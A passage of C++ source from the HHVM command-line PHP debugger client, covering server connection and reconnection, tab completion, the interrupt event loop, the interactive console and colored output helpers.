TRACE(2, "DebuggerClient::Start\n");
auto ret = getStaticDebuggerClient().connectLocal();
getStaticDebuggerClient().start(options);
return ret;
}
void DebuggerClient::Stop() {
TRACE(2, "DebuggerClient::Stop\n");
if (debugger_client) {
debugger_client.reset();
}
}
void DebuggerClient::AdjustScreenMetrics() {
TRACE(2, "entered: DebuggerClient::AdjustScreenMetrics\n");
int rows = 0; int cols = 0;
rl_get_screen_size(&rows, &cols);
if (rows > 0 && cols > 0) {
LineWidth = cols - 4;
ScrollBlockSize = CodeBlockSize = rows - (rows >> 2);
}
TRACE(2, "leaving: DebuggerClient::AdjustScreenMetrics\n");
}
bool DebuggerClient::IsValidNumber(const std::string &arg) {
TRACE(2, "DebuggerClient::IsValidNumber\n");
if (arg.empty()) return false;
for (auto c : arg) {
if (!isdigit(c)) {
return false;
}
}
return true;
}
String DebuggerClient::FormatVariable(
const Variant& v,
char format /* = 'd' */
) {
TRACE(2, "DebuggerClient::FormatVariable\n");
String value;
try {
auto const t =
format == 'r' ? VariableSerializer::Type::PrintR :
format == 'v' ? VariableSerializer::Type::VarDump :
VariableSerializer::Type::DebuggerDump;
VariableSerializer vs(t, 0, 2);
value = vs.serialize(v, true);
} catch (const StringBufferLimitException& e) {
value = "Serialization limit reached";
} catch (...) {
assertx(false);
throw;
}
return value;
}
/*
* Serializes a Variant, and truncates it to a limit if necessary. Returns the
* truncated result, and the number of bytes truncated.
*/
String DebuggerClient::FormatVariableWithLimit(const Variant& v, int maxlen) {
assertx(maxlen >= 0);
VariableSerializer vs(VariableSerializer::Type::DebuggerDump, 0, 2);
auto const value = vs.serializeWithLimit(v, maxlen + 1);
if (value.length() <= maxlen) {
return value;
}
StringBuffer sb;
sb.append(folly::StringPiece{value.data(), static_cast<size_t>(maxlen)});
sb.append(" ...(omitted)");
return sb.detach();
}
String DebuggerClient::FormatInfoVec(const IDebuggable::InfoVec &info,
int *nameLen /* = NULL */) {
TRACE(2, "DebuggerClient::FormatInfoVec\n");
// vertical align names
int maxlen = 0;
for (unsigned int i = 0; i < info.size(); i++) {
int len = strlen(info[i].first);
if (len > maxlen) maxlen = len;
}
// print
StringBuffer sb;
for (unsigned int i = 0; i < info.size(); i++) {
if (ItemNameColor) sb.append(ItemNameColor);
std::string name = info[i].first;
name += ": ";
sb.append(name.substr(0, maxlen + 4));
if (ItemNameColor) sb.append(ANSI_COLOR_END);
if (OutputColor) sb.append(OutputColor);
sb.append(info[i].second);
if (OutputColor) sb.append(ANSI_COLOR_END);
sb.append("\n");
}
if (nameLen) *nameLen = maxlen + 4;
return sb.detach();
}
String DebuggerClient::FormatTitle(const char *title) {
TRACE(2, "DebuggerClient::FormatTitle\n");
String dash = HHVM_FN(str_repeat)(BOX_H, (LineWidth - strlen(title)) / 2 - 4);
StringBuffer sb;
sb.append("\n");
sb.append(" ");
sb.append(dash);
sb.append(" "); sb.append(title); sb.append(" ");
sb.append(dash);
sb.append("\n");
return sb.detach();
}
///////////////////////////////////////////////////////////////////////////////
DebuggerClient::DebuggerClient()
: m_tutorial(0), m_scriptMode(false),
m_logFile(""), m_logFileHandler(nullptr),
m_mainThread(this, &DebuggerClient::run), m_stopped(false),
m_inputState(TakingCommand),
m_sigNum(CmdSignal::SignalNone), m_sigCount(0),
m_acLen(0), m_acIndex(0), m_acPos(0), m_acLiveListsDirty(true),
m_threadId(0), m_listLine(0), m_listLineFocus(0),
m_frame(0),
m_unknownCmd(false) {
TRACE(2, "DebuggerClient::DebuggerClient\n");
Debugger::InitUsageLogging();
}
DebuggerClient::~DebuggerClient() {
TRACE(2, "DebuggerClient::~DebuggerClient\n");
m_stopped = true;
m_mainThread.waitForEnd();
FILE *f = getLogFileHandler();
if (f != nullptr) {
fclose(f);
setLogFileHandler(nullptr);
}
}
void DebuggerClient::closeAllConnections() {
TRACE(2, "DebuggerClient::closeAllConnections\n");
for (unsigned int i = 0; i < m_machines.size(); i++) {
m_machines[i]->m_thrift.close();
}
}
bool DebuggerClient::isLocal() {
TRACE(2, "DebuggerClient::isLocal\n");
return m_machines[0] == m_machine;
}
bool DebuggerClient::connect(const std::string &host, int port) {
TRACE(2, "DebuggerClient::connect\n");
assertx((!m_machines.empty() && m_machines[0]->m_name == LocalPrompt));
// First check for an existing connect, and reuse that.
for (unsigned int i = 1; i < m_machines.size(); i++) {
if (HHVM_FN(gethostbyname)(m_machines[i]->m_name) ==
HHVM_FN(gethostbyname)(host)) {
switchMachine(m_machines[i]);
return false;
}
}
return connectRemote(host, port);
}
bool DebuggerClient::connectRPC(const std::string &host, int port) {
TRACE(2, "DebuggerClient::connectRPC\n");
assertx(!m_machines.empty());
auto local = m_machines[0];
assertx(local->m_name == LocalPrompt);
local->m_rpcHost = host;
local->m_rpcPort = port;
switchMachine(local);
m_rpcHost = "rpc:" + host;
usageLogEvent("RPC connect", m_rpcHost);
return !local->m_interrupting;
}
bool DebuggerClient::disconnect() {
TRACE(2, "DebuggerClient::disconnect\n");
assertx(!m_machines.empty());
auto local = m_machines[0];
assertx(local->m_name == LocalPrompt);
local->m_rpcHost.clear();
local->m_rpcPort = 0;
switchMachine(local);
return !local->m_interrupting;
}
void DebuggerClient::switchMachine(std::shared_ptr<DMachineInfo> machine) {
TRACE(2, "DebuggerClient::switchMachine\n");
m_rpcHost.clear();
machine->m_initialized = false; // even if m_machine == machine
if (m_machine != machine) {
m_machine = machine;
m_sandboxes.clear();
m_threads.clear();
m_threadId = 0;
m_breakpoint.reset();
m_matched.clear();
m_listFile.clear();
m_listLine = 0;
m_listLineFocus = 0;
m_stacktrace.reset();
m_frame = 0;
}
}
req::ptr<Socket> DebuggerClient::connectLocal() {
TRACE(2, "DebuggerClient::connectLocal\n");
int fds[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, fds) != 0) {
throw Exception("unable to create socket pair for local debugging");
}
auto socket1 = req::make<StreamSocket>(fds[0], AF_UNIX);
auto socket2 = req::make<StreamSocket>(fds[1], AF_UNIX);
socket1->unregister();
socket2->unregister();
auto machine = std::make_shared<DMachineInfo>();
machine->m_sandboxAttached = true;
machine->m_name = LocalPrompt;
machine->m_thrift.create(socket1);
assertx(m_machines.empty());
m_machines.push_back(machine);
switchMachine(machine);
return socket2;
}
bool DebuggerClient::connectRemote(const std::string &host, int port) {
TRACE(2, "DebuggerClient::connectRemote\n");
if (port <= 0) {
port = RuntimeOption::DebuggerServerPort;
}
info("Connecting to %s:%d...", host.c_str(), port);
if (tryConnect(host, port, false)) {
return true;
}
error("Unable to connect to %s:%d.", host.c_str(), port);
return false;
}
bool DebuggerClient::reconnect() {
TRACE(2, "DebuggerClient::reconnect\n");
assertx(m_machine);
auto& host = m_machine->m_name;
int port = m_machine->m_port;
if (port <= 0) {
return false;
}
info("Re-connecting to %s:%d...", host.c_str(), port);
m_machine->m_thrift.close(); // Close the old socket, it may still be open.
if (tryConnect(host, port, true)) {
return true;
}
error("Still unable to connect to %s:%d.", host.c_str(), port);
return false;
}
bool DebuggerClient::tryConnect(const std::string &host, int port,
bool clearmachines) {
struct addrinfo *ai;
struct addrinfo hint;
memset(&hint, 0, sizeof(hint));
hint.ai_family = AF_UNSPEC;
hint.ai_socktype = SOCK_STREAM;
if (RuntimeOption::DebuggerDisableIPv6) {
hint.ai_family = AF_INET;
}
if (getaddrinfo(host.c_str(), nullptr, &hint, &ai)) {
return false;
}
SCOPE_EXIT {
freeaddrinfo(ai);
};
/* try possible families (v4, v6) until we get a connection */
struct addrinfo *cur;
for (cur = ai; cur; cur = cur->ai_next) {
auto sock = req::make<StreamSocket>(
socket(cur->ai_family, cur->ai_socktype, 0),
cur->ai_family,
cur->ai_addr->sa_data,
port
);
sock->unregister();
if (HHVM_FN(socket_connect)(Resource(sock), String(host), port)) {
if (clearmachines) {
for (unsigned int i = 0; i < m_machines.size(); i++) {
if (m_machines[i] == m_machine) {
m_machines.erase(m_machines.begin() + i);
break;
}
}
}
auto machine = std::make_shared<DMachineInfo>();
machine->m_name = host;
machine->m_port = port;
machine->m_thrift.create(sock);
m_machines.push_back(machine);
switchMachine(machine);
return true;
}
}
return false;
}
std::string DebuggerClient::getPrompt() {
TRACE(2, "DebuggerClient::getPrompt\n");
if (NoPrompt || !RuntimeOption::EnableDebuggerPrompt) {
return "";
}
auto name = &m_machine->m_name;
if (!m_rpcHost.empty()) {
name = &m_rpcHost;
}
if (m_inputState == TakingCode) {
std::string prompt = " ";
for (unsigned i = 2; i < name->size() + 2; i++) {
prompt += '.';
}
prompt += ' ';
return prompt;
}
return *name + "> ";
}
void DebuggerClient::init(const DebuggerClientOptions &options) {
TRACE(2, "DebuggerClient::init\n");
m_options = options;
if (!options.configFName.empty()) {
m_configFileName = options.configFName;
}
if (options.user.empty()) {
m_options.user = Process::GetCurrentUser();
}
usageLogEvent("init");
loadConfig();
if (m_scriptMode) {
print("running in script mode, pid=%" PRId64 "\n",
(int64_t)getpid());
}
if (!options.cmds.empty()) {
RuntimeOption::EnableDebuggerColor = false;
RuntimeOption::EnableDebuggerPrompt = false;
s_use_utf8 = false;
}
if (UseColor && RuntimeOption::EnableDebuggerColor) Debugger::SetTextColors();
if (!NoPrompt && RuntimeOption::EnableDebuggerPrompt) {
info("Welcome to HipHop Debugger!");
info("Type \"help\" or \"?\" for a complete list of commands.\n");
}
if (!options.host.empty()) {
connectRemote(options.host, options.port);
} else {
if (options.fileName.empty()) {
help("Note: no server specified, debugging local scripts only.");
help("If you want to connect to a server, launch with \"-h\" or use:");
help(" [m]achine [c]onnect <servername>\n");
}
}
}
void DebuggerClient::start(const DebuggerClientOptions &options) {
TRACE(2, "DebuggerClient::start\n");
init(options);
m_mainThread.start();
}
// Executed by m_mainThread to run the command-line debugger.
void DebuggerClient::run() {
TRACE(2, "DebuggerClient::run\n");
StackTraceNoHeap::AddExtraLogging("IsDebugger", "True");
ReadlineApp app;
TRACE(3, "DebuggerClient::run, about to call playMacro\n");
playMacro("startup");
if (!m_options.cmds.empty()) {
m_macroPlaying = std::make_shared<Macro>();
m_macroPlaying->m_cmds = m_options.cmds;
m_macroPlaying->m_cmds.push_back("q");
m_macroPlaying->m_index = 0;
}
hphp_session_init();
if (m_options.extension.empty()) {
hphp_invoke_simple("", true); // warm-up only
} else {
hphp_invoke_simple(m_options.extension, false);
}
while (true) {
bool reconnect = false;
try {
eventLoop(TopLevel, DebuggerCommand::KindOfNone, "Main client loop");
} catch (DebuggerClientExitException &e) { /* normal exit */
} catch (DebuggerServerLostException &e) {
// Loss of connection
TRACE_RB(1, "DebuggerClient::run: server lost exception\n");
usageLogEvent("DebuggerServerLostException", m_commandCanonical);
reconnect = true;
} catch (DebuggerProtocolException &e) {
// Bad or unexpected data. Give reconnect a shot, it could help...
TRACE_RB(1, "DebuggerClient::run: protocol exception\n");
usageLogEvent("DebuggerProtocolException", m_commandCanonical);
reconnect = true;
} catch (...) {
TRACE_RB(1, "DebuggerClient::run: unknown exception\n");
usageLogEvent("UnknownException", m_commandCanonical);
Logger::Error("Unhandled exception, exiting.");
}
// Note: it's silly to try to reconnect when stopping, or if we have a
// problem while quitting.
if (reconnect && !m_stopped && (m_commandCanonical != "quit")) {
usageLogEvent("reconnect attempt", m_commandCanonical);
if (DebuggerClient::reconnect()) {
usageLogEvent("reconnect success", m_commandCanonical);
continue;
}
usageLogEvent("reconnect failed", m_commandCanonical);
Logger::Error("Unable to reconnect to server, exiting.");
}
break;
}
usageLogEvent("exit");
// Closing all proxy connections will force the local proxy to pop out of
// it's wait, and eventually exit the main thread.
closeAllConnections();
hphp_context_exit();
hphp_session_exit();
}
///////////////////////////////////////////////////////////////////////////////
// auto-complete
void DebuggerClient::updateLiveLists() {
TRACE(2, "DebuggerClient::updateLiveLists\n");
ReadlineWaitCursor waitCursor;
CmdInfo::UpdateLiveLists(*this);
m_acLiveListsDirty = false;
}
void DebuggerClient::promptFunctionPrototype() {
TRACE(2, "DebuggerClient::promptFunctionPrototype\n");
if (m_acProtoTypePrompted) return;
m_acProtoTypePrompted = true;
const char *p0 = rl_line_buffer;
int len = strlen(p0);
if (len < 2) return;
const char *pLast = p0 + len - 1;
while (pLast > p0 && isspace(*pLast)) --pLast;
if (pLast == p0 || *pLast-- != '(') return;
while (pLast > p0 && isspace(*pLast)) --pLast;
const char *p = pLast;
while (p >= p0 && (isalnum(*p) || *p == '_')) --p;
if (p == pLast) return;
std::string cls;
std::string func(p + 1, pLast - p);
if (p > p0 && *p-- == ':' && *p-- == ':') {
pLast = p;
while (p >= p0 && (isalnum(*p) || *p == '_')) --p;
if (pLast > p) {
cls = std::string(p + 1, pLast - p);
}
}
String output = highlight_code(CmdInfo::GetProtoType(*this, cls, func));
print("\n%s", output.data());
rl_forced_update_display();
}
bool DebuggerClient::setCompletion(const char* text, int /*start*/,
int /*end*/) {
TRACE(2, "DebuggerClient::setCompletion\n");
if (m_inputState == TakingCommand) {
parseCommand(rl_line_buffer);
if (*text) {
if (!m_args.empty()) {
m_args.resize(m_args.size() - 1);
} else {
m_command.clear();
}
}
}
return true;
}
void DebuggerClient::addCompletion(AutoComplete type) {
TRACE(2, "DebuggerClient::addCompletion(AutoComplete type)\n");
if (type < 0 || type >= AutoCompleteCount) {
Logger::Error("Invalid auto completion enum: %d", type);
return;
}
if (type == AutoCompleteCode) {
addCompletion(AutoCompleteVariables);
addCompletion(AutoCompleteConstants);
addCompletion(AutoCompleteClasses);
addCompletion(AutoCompleteFunctions);
addCompletion(AutoCompleteClassMethods);
addCompletion(AutoCompleteClassProperties);
addCompletion(AutoCompleteClassConstants);
addCompletion(AutoCompleteKeyword);
} else if (type == AutoCompleteKeyword) {
addCompletion(PHP_KEYWORDS);
} else {
m_acLists.push_back((const char **)type);
}
if (type == AutoCompleteFunctions || type == AutoCompleteClassMethods) {
promptFunctionPrototype();
}
}
void DebuggerClient::addCompletion(const char** list) {
TRACE(2, "DebuggerClient::addCompletion(const char **list)\n");
m_acLists.push_back(list);
}
void DebuggerClient::addCompletion(const char* name) {
TRACE(2, "DebuggerClient::addCompletion(const char *name)\n");
m_acStrings.push_back(name);
}
void DebuggerClient::addCompletion(const std::vector<std::string>& items) {
TRACE(2, "DebuggerClient::addCompletion(const std::vector<std::string>)\n");
m_acItems.insert(m_acItems.end(), items.begin(), items.end());
}
char* DebuggerClient::getCompletion(const std::vector<std::string>& items,
const char* text) {
TRACE(2, "DebuggerClient::getCompletion(const std::vector<std::string>\n");
while (++m_acPos < (int)items.size()) {
auto const p = items[m_acPos].c_str();
if (m_acLen == 0 || strncasecmp(p, text, m_acLen) == 0) {
return strdup(p);
}
}
m_acPos = -1;
return nullptr;
}
std::vector<std::string> DebuggerClient::getAllCompletions(
const std::string& text
) {
TRACE(2, "DebuggerClient::getAllCompletions\n");
std::vector<std::string> res;
if (m_acLiveListsDirty) {
updateLiveLists();
}
for (int i = 0; i < AutoCompleteCount; ++i) {
auto const& items = m_acLiveLists->get(i);
for (size_t j = 0; j < items.size(); ++j) {
auto const p = items[j].c_str();
if (strncasecmp(p, text.c_str(), text.length()) == 0) {
res.push_back(std::string(p));
}
}
}
return res;
}
char* DebuggerClient::getCompletion(const std::vector<const char*>& items,
const char* text) {
TRACE(2, "DebuggerClient::getCompletion(const std::vector<const char *>\n");
while (++m_acPos < (int)items.size()) {
auto const p = items[m_acPos];
if (m_acLen == 0 || strncasecmp(p, text, m_acLen) == 0) {
return strdup(p);
}
}
m_acPos = -1;
return nullptr;
}
static char first_non_whitespace(const char* s) {
TRACE(2, "DebuggerClient::first_non_whitespace\n");
while (*s && isspace(*s)) s++;
return *s;
}
char* DebuggerClient::getCompletion(const char* text, int state) {
TRACE(2, "DebuggerClient::getCompletion\n");
if (state == 0) {
m_acLen = strlen(text);
m_acIndex = 0;
m_acPos = -1;
m_acLists.clear();
m_acStrings.clear();
m_acItems.clear();
m_acProtoTypePrompted = false;
if (m_inputState == TakingCommand) {
switch (first_non_whitespace(rl_line_buffer)) {
case '<':
if (strncasecmp(m_command.substr(0, 5).c_str(), "<?php", 5)) {
addCompletion("<?php");
break;
}
case '@':
case '=':
case '$': {
addCompletion(AutoCompleteCode);
break;
}
default: {
if (m_command.empty()) {
addCompletion(GetCommands());
addCompletion("@");
addCompletion("=");
addCompletion("<?php");
addCompletion("?>");
} else {
auto cmd = createCommand();
if (cmd) {
if (cmd->is(DebuggerCommand::KindOfRun)) playMacro("startup");
cmd->list(*this);
}
}
break;
}
}
} else {
assertx(m_inputState == TakingCode);
if (!*rl_line_buffer) {
addCompletion("?>"); // so we tab, we're done
} else {
addCompletion(AutoCompleteCode);
}
}
}
for (; m_acIndex < (int)m_acLists.size(); m_acIndex++) {
const char **list = m_acLists[m_acIndex];
if ((int64_t)list == AutoCompleteFileNames) {
char *p = rl_filename_completion_function(text, ++m_acPos);
if (p) return p;
} else if ((int64_t)list >= 0 && (int64_t)list < AutoCompleteCount) {
if (m_acLiveListsDirty) {
updateLiveLists();
assertx(!m_acLiveListsDirty);
}
char *p = getCompletion(m_acLiveLists->get(int64_t(list)), text);
if (p) return p;
} else {
for (const char *p = list[++m_acPos]; p; p = list[++m_acPos]) {
if (m_acLen == 0 || strncasecmp(p, text, m_acLen) == 0) {
return strdup(p);
}
}
}
m_acPos = -1;
}
char *p = getCompletion(m_acStrings, text);
if (p) return p;
return getCompletion(m_acItems, text);
}
///////////////////////////////////////////////////////////////////////////////
// main
// Execute the initial connection protocol with a machine. A connection has been
// established, and the proxy has responded with an interrupt giving us initial
// control. Send breakpoints to the server, and then attach to the sandbox
// if necessary. If we attach to a sandbox, then the process is off and running
// again (CmdMachine continues execution on a successful attach) so return false
// to indicate that a client should wait for another interrupt before attempting
// further communication. Returns true if the protocol is complete and the
// machine is at an interrupt.
bool DebuggerClient::initializeMachine() {
TRACE(2, "DebuggerClient::initializeMachine\n");
// set/clear intercept for RPC thread
if (!m_machines.empty() && m_machine == m_machines[0]) {
CmdMachine::UpdateIntercept(*this, m_machine->m_rpcHost,
m_machine->m_rpcPort);
}
// upload breakpoints
if (!m_breakpoints.empty()) {
info("Updating breakpoints...");
CmdBreak::SendClientBreakpointListToServer(*this);
}
// attaching to default sandbox
int waitForSandbox = false;
if (!m_machine->m_sandboxAttached) {
const char *user = m_options.user.empty() ?
nullptr : m_options.user.c_str();
m_machine->m_sandboxAttached = (waitForSandbox =
CmdMachine::AttachSandbox(*this, user, m_options.sandbox.c_str()));
if (!m_machine->m_sandboxAttached) {
Logger::Error("Unable to communicate with default sandbox.");
}
}
m_machine->m_initialized = true;
if (waitForSandbox) {
// Return false to wait for next interrupt from server
return false;
}
return true;
}
// The main execution loop of DebuggerClient. This waits for interrupts from
// the server (and responds to polls for signals). On interrupt, it presents a
// command prompt, and continues pumping interrupts when a command lets the
// machine run again. For nested loops it returns the command that completed
// the loop, which will match the expectedCmd passed in. For all loop types,
// throws one of a variety of exceptions for various errors, and throws
// DebuggerClientExitException when the event loop is terminated due to the
// client stopping.
DebuggerCommandPtr DebuggerClient::eventLoop(EventLoopKind loopKind,
int expectedCmd,
const char *caller) {
TRACE(2, "DebuggerClient::eventLoop\n");
if (loopKind == NestedWithExecution) {
// Some callers have caused the server to start executing more PHP, so
// update the machine/client state accordingly.
m_inputState = TakingInterrupt;
m_machine->m_interrupting = false;
}
while (!m_stopped) {
DebuggerCommandPtr cmd;
if (DebuggerCommand::Receive(m_machine->m_thrift, cmd, caller)) {
if (!cmd) {
Logger::Error("Unable to communicate with server. Server's down?");
throw DebuggerServerLostException();
}
if (cmd->is(DebuggerCommand::KindOfSignal) ||
cmd->is(DebuggerCommand::KindOfAuth)) {
// Respond to polling from the server.
cmd->onClient(*this);
continue;
}
if (!cmd->getWireError().empty()) {
error("wire error: %s", cmd->getWireError().data());
}
if ((loopKind != TopLevel) &&
cmd->is((DebuggerCommand::Type)expectedCmd)) {
// For the nested cases, the caller has sent a cmd to the server and is
// expecting a specific response. When we get it, return it.
usageLogEvent("command done", folly::to<std::string>(expectedCmd));
m_machine->m_interrupting = true; // Machine is stopped
m_inputState = TakingCommand;
return cmd;
}
if ((loopKind == Nested) || !cmd->is(DebuggerCommand::KindOfInterrupt)) {
Logger::Error("Received bad cmd type %d, unable to communicate "
"with server.", cmd->getType());
throw DebuggerProtocolException();
}
m_sigCount = 0;
auto intr = std::dynamic_pointer_cast<CmdInterrupt>(cmd);
Debugger::UsageLogInterrupt("terminal", getSandboxId(), *intr.get());
cmd->onClient(*this);
// When we make a new connection to a machine, we have to wait for it
// to interrupt us before we can send it any messages. This is our
// opportunity to complete the connection and make it ready to use.
if (!m_machine->m_initialized) {
if (!initializeMachine()) {
// False means the machine is running and we need to wait for
// another interrupt.
continue;
}
}
// Execution has been interrupted, so go ahead and give the user
// the prompt back.
m_machine->m_interrupting = true; // Machine is stopped
m_inputState = TakingCommand;
console(); // Prompt loop
m_inputState = TakingInterrupt;
m_machine->m_interrupting = false; // Machine is running again.
if (m_scriptMode) {
print("Waiting for server response");
}
}
}
throw DebuggerClientExitException(); // Stopped, so exit.
}
// Execute the interactive command loop for the debugger client. This will
// present the prompt, wait for user input, and execute commands, then rinse
// and repeat. The loop terminates when a command is executed that causes the
// machine to resume execution, or which should cause the client to exit.
// This function is only entered when the machine being debugged is paused.
//
// If this function returns it means the process is running again.
// NB: exceptions derived from DebuggerException or DebuggerClientExeption
// indicate the machine remains paused.
void DebuggerClient::console() {
TRACE(2, "DebuggerClient::console\n");
while (true) {
const char *line = nullptr;
std::string holder;
if (m_macroPlaying) {
if (m_macroPlaying->m_index < m_macroPlaying->m_cmds.size()) {
holder = m_macroPlaying->m_cmds[m_macroPlaying->m_index++];
line = holder.c_str();
} else {
m_macroPlaying.reset();
}
}
if (line == nullptr) {
line = readline(getPrompt().c_str());
if (line == nullptr) {
// treat ^D as quit
print("quit");
line = "quit";
} else {
#ifdef USE_EDITLINE
print("%s", line); // Stay consistent with the readline library
#endif
}
} else if (!NoPrompt && RuntimeOption::EnableDebuggerPrompt) {
print("%s%s", getPrompt().c_str(), line);
}
if (*line && !m_macroPlaying &&
strcasecmp(line, "QUIT") != 0 &&
strcasecmp(line, "QUI") != 0 &&
strcasecmp(line, "QU") != 0 &&
strcasecmp(line, "Q") != 0) {
// even if line is bad command, we still want to remember it, so
// people can go back and fix typos
HIST_ENTRY *last_entry = nullptr;
if (history_length > 0 &&
(last_entry = history_get(history_length + history_base - 1))) {
// Make sure we aren't duplicating history entries
if (strcmp(line, last_entry->line)) {
add_history(line);
}
} else {
// Add history regardless, since we know that there are no
// duplicate entries.
add_history(line);
}
}
AdjustScreenMetrics();
if (*line) {
if (parse(line)) {
try {
record(line);
m_prevCmd = m_command;
if (!process()) {
error("command \"" + m_command + "\" not found");
m_command.clear();
}
} catch (DebuggerConsoleExitException &e) {
return;
}
}
} else if (m_inputState == TakingCommand) {
switch (m_prevCmd[0]) {
case 'l': // list
m_args.clear(); // as if just "list"
// fall through
case 'c': // continue
case 's': // step
case 'n': // next
case 'o': // out
try {
record(line);
m_command = m_prevCmd;
process(); // replay the same command
} catch (DebuggerConsoleExitException &e) {
return;
}
break;
}
}
}
not_reached();
}
const StaticString
s_file("file"),
s_line("line");
//
// Called when a breakpoint is reached, to produce the console
// spew showing the code around the breakpoint.
//
void DebuggerClient::shortCode(BreakPointInfoPtr bp) {
TRACE(2, "DebuggerClient::shortCode\n");
if (bp && !bp->m_file.empty() && bp->m_line1) {
Variant source = CmdList::GetSourceFile(*this, bp->m_file);
if (source.isString()) {
// Line and column where highlight should start and end
int beginHighlightLine = bp->m_line1;
int beginHighlightColumn = bp->m_char1;
int endHighlightLine = bp->m_line2;
int endHighlightColumn = bp->m_char2;
// Lines where source listing should start and end
int firstLine = std::max(beginHighlightLine - 1, 1);
int lastLine = endHighlightLine + 1;
int maxLines = getDebuggerClientMaxCodeLines();
// If MaxCodeLines == 0: don't spew any code after a [s]tep or [n]ext
// command.
if (maxLines == 0) {
return;
}
// If MaxCodeLines > 0: limit spew to a maximum of # lines.
if (maxLines > 0) {
int numHighlightLines = endHighlightLine - beginHighlightLine + 1;
if (numHighlightLines > maxLines) {
// If there are too many highlight lines, truncate spew
// by setting lastLine ...
lastLine = beginHighlightLine + maxLines - 1;
// ... and set endHighlightLine/Column so that it is just past the end
// of the spew, and all code up to the truncation will be highlighted.
endHighlightLine = lastLine + 1;
endHighlightColumn = 1;
}
}
code(source.toString(), firstLine, lastLine,
beginHighlightLine,
beginHighlightColumn,
endHighlightLine,
endHighlightColumn);
}
}
}
bool DebuggerClient::code(const String& source, int line1 /*= 0*/,
int line2 /*= 0*/,
int lineFocus0 /* = 0 */, int charFocus0 /* = 0 */,
int lineFocus1 /* = 0 */, int charFocus1 /* = 0 */) {
TRACE(2, "DebuggerClient::code\n");
if (line1 == 0 && line2 == 0) {
String highlighted = highlight_code(source, 0, lineFocus0, charFocus0,
lineFocus1, charFocus1);
if (!highlighted.empty()) {
print(highlighted);
return true;
}
return false;
}
String highlighted = highlight_php(source, 1, lineFocus0, charFocus0,
lineFocus1, charFocus1);
int line = 1;
const char *begin = highlighted.data();
StringBuffer sb;
for (const char *p = begin; *p; p++) {
if (*p == '\n') {
if (line >= line1) {
sb.append(begin, p - begin + 1);
}
if (++line > line2) break;
begin = p + 1;
}
}
if (!sb.empty()) {
print("%s%s", sb.data(),
UseColor && RuntimeOption::EnableDebuggerColor ? ANSI_COLOR_END : "\0");
return true;
}
return false;
}
char DebuggerClient::ask(const char *fmt, ...) {
TRACE(2, "DebuggerClient::ask\n");
std::string msg;
va_list ap;
va_start(ap, fmt);
string_vsnprintf(msg, fmt, ap); va_end(ap);
if (UseColor && InfoColor && RuntimeOption::EnableDebuggerColor) {
msg = InfoColor + msg + ANSI_COLOR_END;
}
fwrite(msg.data(), 1, msg.length(), stdout);
fflush(stdout);
auto input = readline("");
if (input == nullptr) return ' ';
#ifdef USE_EDITLINE
print("%s", input); // Stay consistent with the readline library
#endif
if (strlen(input) > 0) return tolower(input[0]);
return ' ';
}
#define DWRITE(ptr, size, nmemb, stream) \
do { \
/* LogFile debugger setting */ \
FILE *f = getLogFileHandler(); \
if (f != nullptr) { \
fwrite(ptr, size, nmemb, f); \
} \
\
/* For debugging, still output to stdout */ \
fwrite(ptr, size, nmemb, stream); \
} while (0) \
void DebuggerClient::print(const char* fmt, ...) {
TRACE(2, "DebuggerClient::print(const char* fmt, ...)\n");
std::string msg;
va_list ap;
va_start(ap, fmt);
string_vsnprintf(msg, fmt, ap); va_end(ap);
print(msg);
}
void DebuggerClient::print(const String& msg) {
TRACE(2, "DebuggerClient::print(const String& msg)\n");
DWRITE(msg.data(), 1, msg.length(), stdout);
DWRITE("\n", 1, 1, stdout);
fflush(stdout);
}
void DebuggerClient::print(const std::string& msg) {
TRACE(2, "DebuggerClient::print(const std::string& msg)\n");
DWRITE(msg.data(), 1, msg.size(), stdout);
DWRITE("\n", 1, 1, stdout);
fflush(stdout);
}
void DebuggerClient::print(folly::StringPiece msg) {
TRACE(2, "DebuggerClient::print(folly::StringPiece msg)\n");
DWRITE(msg.data(), 1, msg.size(), stdout);
DWRITE("\n", 1, 1, stdout);
fflush(stdout);
}
#define IMPLEMENT_COLOR_OUTPUT(name, where, color) \
void DebuggerClient::name(folly::StringPiece msg) { \
if (UseColor && color && RuntimeOption::EnableDebuggerColor) { \
DWRITE(color, 1, strlen(color), where); \
} \
DWRITE(msg.data(), 1, msg.size(), where); \
if (UseColor && color && RuntimeOption::EnableDebuggerColor) { \
DWRITE(ANSI_COLOR_END, 1, strlen(ANSI_COLOR_END), where); \
} \
DWRITE("\n", 1, 1, where); \
fflush(where); \
} \
\
void DebuggerClient::name(const String& msg) { \
name(msg.slice()); \
} \
\
void DebuggerClient::name(const std::string& msg) { \
name(folly::StringPiece{msg}); \
} \
\
void DebuggerClient::name(const char *fmt, ...) { \
std::string msg; \
va_list ap; \
va_start(ap, fmt); \
string_vsnprintf(msg, fmt, ap); va_end(ap); \
name(msg); \
} \
IMPLEMENT_COLOR_OUTPUT(help, stdout, HelpColor);
IMPLEMENT_COLOR_OUTPUT(info, stdout, InfoColor);
IMPLEMENT_COLOR_OUTPUT(output, stdout, OutputColor);
IMPLEMENT_COLOR_OUTPUT(error, stderr, ErrorColor);
#undef DWRITE
#undef IMPLEMENT_COLOR_OUTPUT
std::string DebuggerClient::wrap(const std::string &s) {
TRACE(2, "DebuggerClient::wrap\n");
String ret = wordwrap(String(s.c_str(), s.size(), CopyString), LineWidth - 4,
"\n", true);
return std::string(ret.data(), ret.size());
}
void DebuggerClient::helpTitle(const char *title) {
TRACE(2, "DebuggerClient::helpTitle\n");
help(FormatTitle(title));
}
void DebuggerClient::helpCmds(const char *cmd, const char *desc, ...) {
TRACE(2, "DebuggerClient::helpCmds(const char *cmd, const char *desc,...)\n");
std::vector<const char *> cmds;
cmds.push_back(cmd);
cmds.push_back(desc);
va_list ap;
va_start(ap, desc);
const char *s = va_arg(ap, const char *);
while (s) {
cmds.push_back(s);
s = va_arg(ap, const char *);
}
va_end(ap);
helpCmds(cmds);
}
void DebuggerClient::helpCmds(const std::vector<const char *> &cmds) {
TRACE(2, "DebuggerClient::helpCmds(const std::vector<const char *> &cmds)\n");
int left = 0; int right = 0;
for (unsigned int i = 0; i < cmds.size(); i++) {
int &width = (i % 2 ? right : left);
int len = strlen(cmds[i]);
if (width < len) width = len;
}
int margin = 8;
int leftMax = LineWidth / 3 - margin;
int rightMax = LineWidth * 3 / 3 - margin;
if (left > leftMax) left = leftMax;
if (right > rightMax) right = rightMax;
StringBuffer sb;
for (unsigned int i = 0; i < cmds.size() - 1; i += 2) {
String cmd(cmds[i], CopyString);
String desc(cmds[i+1], CopyString);
// two special formats
if (cmd.empty() && desc.empty()) {
sb.append("\n");
